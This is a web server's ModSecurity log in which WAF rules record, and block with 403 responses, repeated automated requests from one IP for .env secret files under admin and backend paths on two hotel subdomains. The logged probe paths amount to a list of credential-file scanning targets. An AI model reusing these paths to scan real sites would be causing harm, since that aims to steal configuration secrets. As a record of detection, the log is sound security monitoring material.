[Sun Oct 25 04:06:24.560592 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at24gFTnwNJm6o1fQZIixQAAAAI"]
[Sun Oct 25 04:06:24.507565 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at24gC7GhhaIo05efijDMAAAAAc"]
[Sun Oct 25 04:06:24.560792 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at24gC7GhhaIo05efijDMAAAAAc"]
[Sun Oct 25 04:06:24.561056 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at24gC7GhhaIo05efijDMAAAAAc"]
[Sun Oct 25 04:06:24.497222 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at24gALaiqtlZaJBsx4X4QAAAA0"]
[Sun Oct 25 04:06:24.561271 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at24gALaiqtlZaJBsx4X4QAAAA0"]
[Sun Oct 25 04:06:24.561533 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at24gALaiqtlZaJBsx4X4QAAAA0"]
[Sun Oct 25 04:06:24.544955 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at24gIHtOs-nfC4GshpRwQAAABc"]
[Sun Oct 25 04:06:24.561802 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at24gIHtOs-nfC4GshpRwQAAABc"]
[Sun Oct 25 04:06:24.562018 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at24gIHtOs-nfC4GshpRwQAAABc"]
[Sun Oct 25 04:06:24.545666 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at24gLQKh4dfs72fmHxwCgAAAAE"]
[Sun Oct 25 04:06:24.631196 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at24gKrU4NwppjTEGaL6oAAAAAY"]
[Sun Oct 25 04:06:24.631398 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at24gKrU4NwppjTEGaL6oAAAAAY"]
[Sun Oct 25 04:06:24.631641 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at24gKrU4NwppjTEGaL6oAAAAAY"]
[Sun Oct 25 04:06:24.648699 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at24gLQKh4dfs72fmHxwCwAAAAE"]
[Sun Oct 25 04:06:24.648925 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at24gLQKh4dfs72fmHxwCwAAAAE"]
[Sun Oct 25 04:06:24.649197 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at24gLQKh4dfs72fmHxwCwAAAAE"]
[Sun Oct 25 04:06:24.651354 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at24gALaiqtlZaJBsx4X4gAAAA0"]
[Sun Oct 25 04:06:24.651509 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at24gALaiqtlZaJBsx4X4gAAAA0"]
[Sun Oct 25 04:06:24.651735 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at24gALaiqtlZaJBsx4X4gAAAA0"]
[Sun Oct 25 04:06:24.654566 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at24gFTnwNJm6o1fQZIixgAAAAI"]
[Sun Oct 25 04:06:24.654721 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at24gFTnwNJm6o1fQZIixgAAAAI"]
[Sun Oct 25 04:06:24.666395 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at24gFTnwNJm6o1fQZIixgAAAAI"]
[Sun Oct 25 04:06:24.755291 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/IAM.md"] [unique_id "at24gNxXWZMI2DaSlsHxRwAAABY"]
[Sun Oct 25 04:06:24.755317 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/IAM.md"] [unique_id "at24gNxXWZMI2DaSlsHxRwAAABY"]
[Sun Oct 25 04:06:24.938105 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/[tenant]/*"] [unique_id "at24gNxXWZMI2DaSlsHxSQAAABY"]
[Sun Oct 25 04:06:24.938134 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/[tenant]/*"] [unique_id "at24gNxXWZMI2DaSlsHxSQAAABY"]
[Sun Oct 25 04:06:25.418387 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at24gS7GhhaIo05efijDOQAAAAc"]
[Sun Oct 25 04:06:25.418528 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at24gS7GhhaIo05efijDOQAAAAc"]
[Sun Oct 25 04:06:25.418780 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at24gS7GhhaIo05efijDOQAAAAc"]
[Sun Oct 25 04:06:25.453446 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin-app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at24gQLaiqtlZaJBsx4X6wAAAA0"]
[Sun Oct 25 04:06:25.457239 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at24gQLaiqtlZaJBsx4X6wAAAA0"]
[Sun Oct 25 04:06:25.457489 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin-app/.env"] [unique_id "at24gQLaiqtlZaJBsx4X6wAAAA0"]
[Sun Oct 25 04:06:25.529809 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at24gZ68N771hz7W4KlsYwAAAAw"]
[Sun Oct 25 04:06:25.529995 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at24gZ68N771hz7W4KlsYwAAAAw"]
[Sun Oct 25 04:06:25.530263 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at24gZ68N771hz7W4KlsYwAAAAw"]
[Sun Oct 25 04:06:25.535617 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at24gdxXWZMI2DaSlsHxTwAAABY"]
[Sun Oct 25 04:06:25.535808 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at24gdxXWZMI2DaSlsHxTwAAABY"]
[Sun Oct 25 04:06:25.536033 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at24gdxXWZMI2DaSlsHxTwAAABY"]
[Sun Oct 25 04:06:25.707223 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/administrator/.env"] [unique_id "at24gS7GhhaIo05efijDPAAAAAc"]
[Sun Oct 25 04:06:25.707337 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/administrator/.env"] [unique_id "at24gS7GhhaIo05efijDPAAAAAc"]
